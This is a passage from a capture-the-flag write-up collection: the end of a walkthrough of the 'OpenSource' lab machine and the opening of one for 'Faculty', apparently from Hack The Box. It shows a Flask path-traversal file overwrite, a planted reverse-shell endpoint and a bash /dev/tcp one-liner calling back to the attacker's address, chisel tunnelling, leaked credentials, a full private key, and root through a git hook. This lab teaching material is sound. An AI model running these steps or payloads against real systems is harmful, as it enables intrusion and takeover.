 ENV MODE="PRODUCTION"
-ENV FLASK_DEBUG=1
 
 # Run supervisord
 CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
diff --git a/app/app/views.py b/app/app/views.py
index 0f3cc37..f2744c6 100644
--- a/app/app/views.py
+++ b/app/app/views.py
@@ -6,17 +6,7 @@ from flask import render_template, request, send_file
 from app import app
 
 
-@app.route('/')
-def index():
-    return render_template('index.html')
-
-
-@app.route('/download')
-def download():
-    return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))
-
-
-@app.route('/upcloud', methods=['GET', 'POST'])
+@app.route('/', methods=['GET', 'POST'])
 def upload_file():
     if request.method == 'POST':
         f = request.files['file']
@@ -30,4 +20,4 @@ def upload_file():
 @app.route('/uploads/<path:path>')
 def send_report(path):
     path = get_file_name(path)
-    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
+    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
\ No newline at end of file
```

Looks like `dev` is what is running on the box since it is what has the `/upcloud` URL instead of `/` to get to the main page. This also means `ENV FLASK_DEBUG=1` is set on the box, which means we have access to the [Flask debugger](https://flask.palletsprojects.com/en/2.1.x/debugging/#the-built-in-debugger). According to [a guide about debugging flask applications](https://flask.palletsprojects.com/en/2.1.x/debugging/#the-built-in-debugger), "The debugger allows executing arbitrary Python code from the browser. It is protected by a pin, but still represents a major security risk. Do not run the development server or debugger in a production environment."

Looking at the `dev` branch's commits with `git checkout dev && git log` shows the following:

```
commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (HEAD -> dev)
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:47:24 2022 +0200

    ease testing

commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:54 2022 +0200

    added gitignore

commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:46:16 2022 +0200

    updated

commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:45:17 2022 +0200

    initial
```

Looking at the difference between the first two commits with `git diff ee9d9f1ef9156c787d53074493e39ae364cd1e05 a76f8f75f7a4a12b706b0cf9c983796fa1985820` reveals some credentials:

```diff
diff --git a/app/.vscode/settings.json b/app/.vscode/settings.json
new file mode 100644
index 0000000..5975e3f
--- /dev/null
+++ b/app/.vscode/settings.json
@@ -0,0 +1,5 @@
+{
+  "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
+  "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
+  "http.proxyStrictSSL": false
+}
diff --git a/app/app/views.py b/app/app/views.py
index f2744c6..0f3cc37 100644
--- a/app/app/views.py
+++ b/app/app/views.py
@@ -6,7 +6,17 @@ from flask import render_template, request, send_file
 from app import app
 
 
-@app.route('/', methods=['GET', 'POST'])
+@app.route('/')
+def index():
+    return render_template('index.html')
+
+
+@app.route('/download')
+def download():
+    return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))
+
+
+@app.route('/upcloud', methods=['GET', 'POST'])
 def upload_file():
     if request.method == 'POST':
         f = request.files['file']
@@ -20,4 +30,4 @@ def upload_file():
 @app.route('/uploads/<path:path>')
 def send_report(path):
     path = get_file_name(path)
-    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
\ No newline at end of file
+    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
```

Credentials: `dev01:Soulless_Developer#2022`

#### Reverse Shell

After looking a bit more, we notice there is are functions `get_file_name` and `get_unique_upload_name` in the `source/app/app/utils.py` file:

```python
def get_file_name(unsafe_filename):
    return recursive_replace(unsafe_filename, "../", "")

def get_unique_upload_name(unsafe_filename):
    spl = unsafe_filename.rsplit("\\.", 1)
    file_name = spl[0]
    file_extension = spl[1]
    return recursive_replace(file_name, "../", "") + "_" + str(current_milli_time()) + "." + file_extension

def recursive_replace(search, replace_me, with_me):
    if replace_me not in search:
        return search
    return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)
```

`get_unique_upload_name` is not actually ever used. `get_file_name` is called when a file is uploaded:

```python
@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')
```

These functions appear to be attempts to prevent us from writing files outside of the `public/uploads/` directory. By calling `recursive_replace` all `"../"` are removed. Thus, relative paths that jump up directories will not work:

```python
>>> os.path.join("public", "uploads", get_file_name("../../app/app/views.py"))
'public/uploads/app/app/views.py'
```

However, the `upload_file` function uses `os.path.join`, which has one important property. The documentation states the following: "Join one or more path components intelligently. The return value is the concatenation of path and any members of \*paths with exactly one directory separator following each non-empty part except the last, meaning that the result will only end in a separator if the last part is empty. **If a component is an absolute path, all previous components are thrown away and joining continues from the absolute path component.**" (emphasis mine).

So, `os.path.join("blah/foo/bar", "another/path", "/here/is/an/absolute/path")` evaluates to `"/here/is/an/absolute/path"`.

Therefore, this works:

```
>>> os.path.join("public", "uploads", get_file_name("/app/app/views.py"))
'/app/app/views.py'
```

`os.getcwd()` is used in `views.py`, but that also doesn't matter since the last absolute path has priority. `/` is not a valid character in the name of a file, but that too doesn't matter since `f.filename` is a property we control as part of the HTTP POST request.

Since we can write a file, we can replace the `views.py` file with whatever content we want. So, let's create a new version that has an endpoint that creates a reverse shell back to us:

```python
import os

from app.utils import get_file_name
from flask import render_template, request, send_file

from app import app


@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')


@app.route('/uploads/<path:path>')
def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))

import sys,socket,os,pty
@app.route('/8OpZIlfrhe')
def rev_shell():
    ip = request.args.get("ip")
    port = request.args.get("port")
    s=socket.socket()
    s.connect((ip,int(port)))
    [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
    return pty.spawn("/bin/sh")
```

Our `rev_shell` function makes it so we can send a GET request to `http://10.10.11.164/8OpZIlfrhe?ip=<ip>&port=<port>` and get a reverse shell. I messed around with this function for way too long. The issue was that all of my previous attempts used `/bin/bash` which is not present since this is a container! I should have remembered that earlier. I ended up using the standard Python reverse shell (just in its expanded line-by-line format instead of a one-liner). In theory a function like the one below should work too:

```python
@app.route('/8OpZIlfrhe/<ip>/<port>')
def rev_shell(ip, port):
    return os.system(f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'")
```

Anyway, we will use burpsuite (but you can also use Firefox's developer tools to resend the upload request) to modify the `filename` that is sent when we upload our modified `views.py` file.

Go to the upcloud interface, upload the file, and intercept the request in burpsuite. Then, edit the `filename` from `views.py` to `/app/app/views.py`:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-ab6ed03d39a64421dd9f8f260e2619d5210dc8f4%2F20220727000732.png?alt=media)

Now, start a listener with `pwncat-cs -lp 6090` (or use netcat) and go to `http://10.10.11.164/8OpZIlfrhe?ip=10.10.14.98&port=6090`. This creates a reverse shell!

#### Alternative Reverse Shell

Remember from earlier how the Flask debugger is enabled? The machine author hinted that we should use that via the git commits. This is because you can use the debugger to get a shell. Going to `http://10.10.11.164/uploads/a_file_that_doesn_exist` shows an error page and clicking the shell icon next to any of the traceback messages asks for a pin to load the debugger.

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-1769b2eb16c543cb9b939d5fc07bfa812e2b59fa%2F20220727010815.png?alt=media)

[This HackTricks page](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug) explains how to compute the pin. This is possible since there is a LFI exploit with the `/uploads` endpoint by requesting a file at `/uploads/..//<path>`.

#### Container

The shell created is receiving the standard output from Flask, which is interesting. There is a request from an internal service at `172.17.0.1` that is received every few minutes.

```
(remote) root@c728715d5d36:/app$ [46;34R172.17.0.1 - - [27/Jul/2022 03:58:01] "GET / HTTP/1.1" 200 -
                                                                                                    172.17.0.1 - - [27/Jul/2022 04:00:01] "GET / HTTP/1.1" 200 -
                                                           172.17.0.1 - - [27/Jul/2022 04:02:02] "GET / HTTP/1.1" 200 -

/bin/sh: [46: not found
/bin/sh: 34R: not found
(remote) root@c728715d5d36:/app$ [46;34R
/bin/sh: [46: not found
/bin/sh: 34R: not found
(remote) root@c728715d5d36:/app$ 172.17.0.1 - - [27/Jul/2022 04:04:02] "GET / HTTP/1.1" 200 -
                                                                                             172.17.0.1 - - [27/Jul/2022 04:06:02] "GET / HTTP/1.1" 200 -
```

Looking at `/`, we can see that this is indeed a docker container:

```
(remote) root@c728715d5d36:/app$ ls -la /
total 72
drwxr-xr-x    1 root     root          4096 Jul 27 03:42 .
drwxr-xr-x    1 root     root          4096 Jul 27 03:42 ..
-rwxr-xr-x    1 root     root             0 Jul 27 03:42 .dockerenv
drwxr-xr-x    1 root     root          4096 May  4 16:35 app
drwxr-xr-x    1 root     root          4096 Mar 17 05:52 bin
drwxr-xr-x    5 root     root           340 Jul 27 03:42 dev
drwxr-xr-x    1 root     root          4096 Jul 27 03:42 etc
drwxr-xr-x    2 root     root          4096 May  4 16:35 home
drwxr-xr-x    1 root     root          4096 May  4 16:35 lib
drwxr-xr-x    5 root     root          4096 May  4 16:35 media
drwxr-xr-x    2 root     root          4096 May  4 16:35 mnt
drwxr-xr-x    2 root     root          4096 May  4 16:35 opt
dr-xr-xr-x  221 root     root             0 Jul 27 03:42 proc
drwx------    1 root     root          4096 Jul 27 03:57 root
drwxr-xr-x    1 root     root          4096 Jul 27 03:42 run
drwxr-xr-x    1 root     root          4096 Mar 17 05:52 sbin
drwxr-xr-x    2 root     root          4096 May  4 16:35 srv
dr-xr-xr-x   13 root     root             0 Jul 27 03:42 sys
drwxrwxrwt    1 root     root          4096 Jul 27 03:42 tmp
drwxr-xr-x    1 root     root          4096 May  4 16:35 usr
drwxr-xr-x    1 root     root          4096 May  4 16:35 var
```

We saw a filtered port `3000` from the initial nmap scan which likely means whatever service running on that port is running internally. Let's see if we can access it from within the Docker container.

```
(remote) root@c728715d5d36:/app$ wget 10.10.11.164:3000
Connecting to 10.10.11.164:3000 (10.10.11.164:3000)
saving to 'index.html'
index.html           100% |*****************************************************| 13414  0:00:00 ETA
'index.html' saved
(remote) root@c728715d5d36:/app$ head index.html
<!DOCTYPE html>
<html lang="en-US" class="theme-">
<head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title> Gitea: Git with a cup of tea</title>
        <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL29wZW5zb3VyY2UuaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9vcGVuc291cmNlLmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vb3BlbnNvdXJjZS5odGI6MzAwMC9hc3NldHMvaW1nL2xvZ28uc3ZnIiwidHlwZSI6ImltYWdlL3N2Zyt4bWwiLCJzaXplcyI6IjUxMng1MTIifV19"/>
        <meta name="theme-color" content="#6cc644">
        <meta name="default-theme" content="auto" />
        <meta name="author" content="Gitea - Git with a cup of tea" />
```

Looks like we can! It is a [Gitea](https://gitea.io/) instance.

Since we have limited tools in the docker container, we need to forward this port to our attacker machine so we can work with it. This is made easy with [chisel](https://github.com/jpillora/chisel) ([helpful guide](https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html)). Run `./chisel server -p 12350 --reverse` on your attacker machine and then run `./chisel_386 client 10.10.14.98:12350 R:3000:172.17.0.1:3000` on the target (make sure to use the [386](https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_386.gz) version on the target container). You can upload `chisel` easily with pwncat by running `upload tools/chisel_386` in the local shell (this ended by connection, but the file did upload completed and I just reconnected by reloading `http://10.10.11.164/8OpZIlfrhe?ip=10.10.14.98&port=6090`). By the way, `172.17.0.1` is the IP address of the host from within the container.

Now, going to `http://localhost:3000/` on our attacker machine loads Gitea.

### Gitea (Port `3000`)

Signing in with the credentials (`dev01:Soulless_Developer#2022`) that we found earlier in the Git repo works!

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-e35f9f212a78d33000b91dbfc031bdec3825bd60%2F20220727010711.png?alt=media)

Looking at the home-backup repository shows that it has an `.ssh` directory with an `id_rsa` private key in it.

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-28889424d2816496956e395c4b917fe3eadacae7%2F20220727011125.png?alt=media)

```
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----
```

## Foothold

We save this to our attacker machine and use it to SSH onto the box as the `dev01` user. Change the permissions for the key with `chmod 600 ~/Downloads/id_rsa` and then SSH with `ssh dev01@10.10.11.164 -i ~/Downloads/id_rsa`.

Now we can print the `user.txt` flag by running `cat ~/user.txt`.

## Privilege Escalation

Instead of connecting over SSH we can connect using pwncat so we can easily upload files: `pwncat-cs dev01@10.10.11.164 -i ~/Downloads/id_rsa`.

Upload [pspy](https://github.com/DominicBreuker/pspy) by running `upload pspy64` in pwncat's local shell. This will enable us to monitor processes that are ran without root.

This important output is observed:

```
2022/07/27 05:23:01 CMD: UID=0    PID=14084  | /bin/bash /usr/local/bin/git-sync
2022/07/27 05:23:01 CMD: UID=0    PID=14083  | /bin/sh -c /usr/local/bin/git-sync
2022/07/27 05:23:01 CMD: UID=0    PID=14082  | /usr/sbin/CRON -f
2022/07/27 05:23:01 CMD: UID=0    PID=14085  | git status --porcelain
2022/07/27 05:23:01 CMD: UID=0    PID=14087  | git add .
2022/07/27 05:23:01 CMD: UID=0    PID=14088  | git commit -m Backup for 2022-07-27
2022/07/27 05:23:01 CMD: UID=0    PID=14089  | /usr/lib/git-core/git gc --auto
2022/07/27 05:23:01 CMD: UID=0    PID=14090  | git push origin main
2022/07/27 05:23:01 CMD: UID=0    PID=14091  | /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git
2022/07/27 05:23:22 CMD: UID=0    PID=14094  |
2022/07/27 05:24:01 CMD: UID=0    PID=14111  | /bin/sh -c /usr/local/bin/git-sync
2022/07/27 05:24:01 CMD: UID=0    PID=14110  | /usr/sbin/CRON -f
2022/07/27 05:24:01 CMD: UID=???  PID=14109  | ???
2022/07/27 05:24:01 CMD: UID=0    PID=14108  | /bin/sh -c /usr/local/bin/git-sync
2022/07/27 05:24:01 CMD: UID=0    PID=14107  |
2022/07/27 05:24:01 CMD: UID=0    PID=14106  | /usr/sbin/CRON -f
2022/07/27 05:24:01 CMD: UID=0    PID=14105  | /usr/sbin/CRON -f
2022/07/27 05:24:01 CMD: UID=0    PID=14104  | /usr/sbin/CRON -f
2022/07/27 05:24:01 CMD: UID=0    PID=14112  | git status --porcelain
2022/07/27 05:24:01 CMD: UID=0    PID=14113  | date +%Y-%m-%d
2022/07/27 05:24:01 CMD: UID=0    PID=14114  | git add .
2022/07/27 05:24:01 CMD: UID=0    PID=14115  | git commit -m Backup for 2022-07-27
2022/07/27 05:24:01 CMD: UID=0    PID=14116  | /bin/bash /root/meta/app/clean.sh
2022/07/27 05:24:01 CMD: UID=0    PID=14119  | cut -d  -f1
2022/07/27 05:24:01 CMD: UID=0    PID=14118  | /bin/bash /root/meta/app/clean.sh
2022/07/27 05:24:01 CMD: UID=0    PID=14117  | /bin/bash /root/meta/app/clean.sh
2022/07/27 05:24:01 CMD: UID=0    PID=14121  | /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git
2022/07/27 05:24:01 CMD: UID=0    PID=14120  | git push origin main
2022/07/27 05:24:01 CMD: UID=0    PID=14127  |
```

The `home-backup` git repo (which is contained in our home directory) is committed to once per minute automatically by root:

```
(remote) dev01@opensource:/home/dev01$ git log
commit 34ef8a1f5355170e6815897b84e1d462541a623e (HEAD -> main)
Author: gituser <gituser@local>
Date:   Wed Jul 27 05:23:01 2022 +0000

    Backup for 2022-07-27

commit ceb41c744a7b31f70f7374c13a2f2da3b5903ed0
Author: gituser <gituser@local>
Date:   Wed Jul 27 05:22:01 2022 +0000

    Backup for 2022-07-27

commit 9b3976129243a8381fd7f06538418d3244522cb2
Author: gituser <gituser@local>
Date:   Wed Jul 27 04:53:01 2022 +0000

    Backup for 2022-07-27

commit dc049c6744b638f46c76571e5edf2f04c4924e56
Author: gituser <gituser@local>
Date:   Mon May 16 13:13:02 2022 +0000

    Backup for 2022-05-16

commit d4c5300aae7ad595bd2aeea1550ef7dac8c1c8cd (origin/main)
Author: gituser <gituser@local>
Date:   Mon May 16 12:50:01 2022 +0000

    Backup for 2022-05-16
```

We can get a hoot shell because of this thanks to [git hooks](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks). Git hooks are custom scripts that get executed "when certain important actions occur," such as a commit being made. The one we want to activate is `pre-commit`. Any commands we put in the file at `~/.git/hooks/pre-commit` will be run as root. So, activate the sample with `mv ~/.git/hooks/pre-commit.sample ~/.git/hooks/pre-commit` and then add the command `chmod u+s /bin/bash` near the top to make bash a SUID binary. Now, we just need to wait for a most 1 minute (you can see when it runs using pspy) and we will be able to simply run `bash` to get a root shell.

While I waited for the shell I noticed this in pspy as well:

```
2022/07/27 05:36:02 CMD: UID=0    PID=18771  | curl --write-out %{http_code} --silent --output /dev/null http://172.17.0.8
2022/07/27 05:36:02 CMD: UID=0    PID=18770  | /bin/bash /root/meta/app/clean.sh
2022/07/27 05:36:02 CMD: UID=0    PID=18774  | /bin/bash /root/meta/app/clean.sh
2022/07/27 05:36:02 CMD: UID=0    PID=18776  | cut -d  -f1
2022/07/27 05:36:02 CMD: UID=0    PID=18775  | /bin/bash /root/meta/app/clean.sh
```

That's probably the request we saw earlier in our shell and the `clean.sh` script probably reset the main upcloud site.

Anyway, after a minute passes, run `bash -p` to get a root shell! Then, get the `root.txt` flag with `cat /root/root.txt`.

Also, because I am curious:

```
(remote) root@opensource:/home/dev01# cat /root/meta/app/clean.sh
#!/bin/bash
#/snap/bin/docker container prune -f
for i in {6000..6007}
    do
        ip=$(/snap/bin/docker exec upcloud$i hostname -i | cut -d' ' -f1)
        output=$(curl --write-out %{http_code} --silent --output /dev/null http://$ip 2>/dev/null)
        echo $output
        if [[ "$output" -eq 000 ]];
        then
            /snap/bin/docker container stop upcloud$i
            /snap/bin/docker container prune -f
            /snap/bin/docker run -p 172.17.0.1:$i:80 --cap-drop=mknod -d --name=upcloud$i upcloud
        fi
    done
```

Also, we can see why port `3000` was filtered at the bottom of this file:

```
(remote) root@opensource:/home/dev01# cat /root/meta/start.sh
#!/bin/bash
/snap/bin/docker container prune -f
for i in {6000..6007}
    do
        /snap/bin/docker run -p 172.17.0.1:$i:80 --cap-drop=mknod -d --name=upcloud$i upcloud
    done

/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 80 -s 0.0.0.0/0.0.0.7 -j  DNAT --to-destination 172.17.0.2:80
/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 80 -s 0.0.0.1/0.0.0.7 -j  DNAT --to-destination 172.17.0.3:80
/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 80 -s 0.0.0.2/0.0.0.7 -j  DNAT --to-destination 172.17.0.4:80
/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 80 -s 0.0.0.3/0.0.0.7 -j  DNAT --to-destination 172.17.0.5:80
/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 80 -s 0.0.0.4/0.0.0.7 -j  DNAT --to-destination 172.17.0.6:80
/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 80 -s 0.0.0.5/0.0.0.7 -j  DNAT --to-destination 172.17.0.7:80
/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 80 -s 0.0.0.6/0.0.0.7 -j  DNAT --to-destination 172.17.0.8:80
/sbin/iptables -A PREROUTING -t nat -p tcp -d 0.0.0.0/0 --dport 80 -s 0.0.0.7/0.0.0.7 -j  DNAT --to-destination 172.17.0.9:80
/sbin/iptables -A INPUT -i eth0 -p tcp --destination-port 3000 -j DROP
```


# Faculty

## Summary

Our `nmap` scan only finds SSH and an nginx webserver on port `80`. We discover a login page to an application called "School Faculty Scheduling System," which we can bypass using a basic SQL injection. In the main application, we are able to generate pdfs of a table of data. By looking at the URL where the PDFs are served from and the actual PDF metadata, we learn that they are generated using [mPDF](https://github.com/mpdf/mpdf). We look at the requests that are sent when we click the PDF download button and see that we control the PDF content through a base64 encoded string. After a lot of digging, we find a [local file inclusion (LFI) exploit in mPDF](https://github.com/mpdf/mpdf/issues/356). We also are able to get the website to produce an erorr page that gives the full path to one of its PHP files. Using the LFI exploit, we get this file and obtain some credentials.

The credentials get us connect to the box via SSH and `sudo -l` shows that we can run [meta-git](https://www.npmjs.com/package/meta-git) as another user. We find [an exploit](https://hackerone.com/reports/728040) and move laterally to that other user. On the new user, we get the `user.txt` flag. We run [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) and discover that we can now run GDB and that GDB has the `SYS_PTRACE` capability, so it can attached to processes running as `root`. We find a `python3` process, attach to it, and make a call to `system` giving us a reverse shell as root!

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.169 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.169`.

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e9:41:8c:e5:54:4d:6f:14:98:76:16:e7:29:2d:02:16 (RSA)
|   256 43:75:10:3e:cb:78:e9:52:0e:eb:cf:7f:fd:f6:6d:3d (ECDSA)
|_  256 c1:1c:af:76:2b:56:e8:b3:b8:8a:e9:69:73:7b:e6:f5 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://faculty.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Pretty light `nmap` scan for this box. Only SSH and a `nginx` webserver.

Let's add the `faculty.htb` domain to `/etc/hosts`: `echo "10.10.11.169 faculty.htb" | sudo tee -a /etc/hosts`.

### Nginx (Port `80`)

